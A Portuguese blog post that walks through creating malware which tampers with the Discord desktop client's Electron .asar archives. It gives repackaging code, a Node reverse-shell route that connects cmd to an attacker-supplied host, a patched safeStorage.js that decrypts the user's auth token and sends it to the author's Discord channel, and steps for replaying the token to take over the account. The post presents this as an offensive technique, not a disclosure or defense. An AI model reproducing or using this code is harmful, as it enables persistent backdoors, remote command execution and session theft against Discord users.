Home🏡

drocsid.asar

“Shock me like an electric eel“

Depois do meu ultimo post utilizando o Discord como engenharia social, decidi focar em tentar encontrar um vetor de ataque pelo discord. Os principais motivos foram:

  • O Discord é utilizado por milhares de pessoas
  • Após a instalação, o Discord por padrão é iniciado sempre que o Windows inicia.
  • Ele é feito em Electron

O principal ponto aqui é o framework utilizado para a geração do software, o Electron. Quando você compila um software utilizando o Electron, é comum que você utilize uma lib chamada asar para compactar em um único arquivo as dependências do software (códigos javascript).

Partindo desse principio, comecei a vasculhar as pastas de instalação do Discord, procurando por arquivos com a extensão .asar. Encontrei 2 deles:

  • app.asar
  • core.asar

Esses arquivos não possuem todo o código fonte do Discord, pelo que entendi, eles são como um Adapter para o ambiente que estão rodando. Ou seja, eles servem para se comunicar com o sistema operacional, todo o código principal do Discord, aparentemente é armazenado em outros arquivos (ou vem da nuvem?).

Para fazermos a "engenharia reversa" nos arquivos, bata ter a lib asar instalada globalmente e depois utilizar o comando:

$ asar extract <asar-file-path.asar> <extracted-folder>

Após a leitura do código, levantei alguns arquivos interessantes e entendi mais ou menos o fluxo desses dois arquivos. Comecei a fazer alguns testes inserindo logs, gerando um novo arquivo .asar e executando o Discord pelo CMD para ver os logs.

Código para gerar o .asar

const asar = require("asar")

const main = async () => {
  await asar.createPackage("./app", "app.asar")
}

main()

alt alt

Depois de identificar que a injeção de código estava funcionando. Dividi em duas partes o ataque.

  1. De alguma forma criar um backdoor na máquina da vítima, sempre que ela abrir o Discord
  2. Capturar o token de autenticação da vítima, para executar um roubo de sessão.

Malware

O malware que vou desenvolver, será feito em NodeJS (pelas mesmas razões que utilizei no meu último post). O propósito dele é que quando for executado, ele faça a "engenharia reversa" nos arquivos, injete os códigos necessários, depois gere um novo arquivo .asar e substitua os arquivos que o Discord utiliza.

alt

1. De alguma forma criar um backdoor na máquina da vítima, sempre que ela abrir o Discord

Após extrair o arquivo .asar, criei um arquivo dentro da pasta /app/common nesse arquivo tem um código que será executado toda vez que o Discord for aberto.

alt alt

Tentei criar um script para abrir uma porta TCP na máquina da vítima e export ela na internet através de um tunnel. Porém, o Discord "crashava" toda vez que executava o código. Dessa forma, montei o fluxo abaixo para criar um tunnel HTTPS de uma API criada na máquina da vítima e através dessa API, forçar uma conexão reversa com a minha máquina de ataque.

O código injetado irá criar uma API na máquina da vítima expondo uma rota que receberá 2 parâmetros na url:

  • host - IP ou hostname da máquina de ataque
  • port - Porta utilizada para a conexão reversa

Após receber os parâmetros, eles são utilizados no script abaixo:

app.get("/rev", (req, res) => {
  const { port, host } = req.query
  ;(function () {
    var net = require("net"),
      cp = require("child_process"),
      sh = cp.spawn("cmd", [])
    var client = new net.Socket()
    client.connect(port, host, function () {
      client.pipe(sh.stdin)
      sh.stdout.pipe(client)
      sh.stderr.pipe(client)
    })
    return /a/
  })()
})

Para minha máquina de ataque saber qual a URL da API da vítima, o script envia um webhook para um servidor do Discord, com as seguintes informações: alt

Basta acessar pelo navegador a URL: https://tunnel/rev?host=<HOST>&port=<PORT>, passando nos parâmetros os valores referentes a máquina de ataque. alt


2. Capturar o token de autenticação da vítima, para executar um roubo de sessão.

A captura de sessão me lembra os tempos de Orkut, onde era possível enviar um scrap para uma pessoa e quando essa pessoa visualizava o recado, era executado um código javascript no navegador da vítima que capturava os cookies do Orkut e enviava para um servidor php. Quando inseriamos esses cookies no nosso navegador, tinhamos acesso total na conta do Orkut da vítima.

Essa mesma ideia será replicada aqui no Discord, a diferença é que o código malicioso estará injetado na aplicação.

alt alt

Dentro da pasta /app/discord_native/browser, existe um arquivo chamado safeStorage.js, esse arquivo possui um evento que é chamado quando a aplicação acessa uma informação salva nesse "banco". Essa string possui um encode Base64, para vermos o valor real, basta fazer o decode:

// core\app\discord_native\browser\safeStorage.js

electron.ipcMain.on(SAFE_STORAGE_DECRYPT_STRING, (event, encrypted) => {
  if (encrypted) {
    try {
      console.log("vai enviar o token")
      require("../../../common/test").sendToken(JSON.stringify(electron.safeStorage.decryptString(Buffer.from(encrypted, "base64"))))
      console.log("enviou o token")

      event.returnValue = electron.safeStorage.decryptString(Buffer.from(encrypted, "base64"))
    } catch {
      event.returnValue = null
    }
  } else {
    event.returnValue = null
  }
})

O token é enviado para o meu canal do Discord: alt

Depois basta abrir uma página anônima e executar os passos:

  • Acessar a url https://discord.com/login
  • alt
  • Abrir o Devtools
  • Ir para a página onde podemos visualizar o Local Storage e selecionar no Devtools, a opção "Device Toolbar"
  • Criar um novo registro com o nome token e o valor dele será o token capturado "token"
  • alt
  • Atualizar a página
  • alt

Repositório: em breve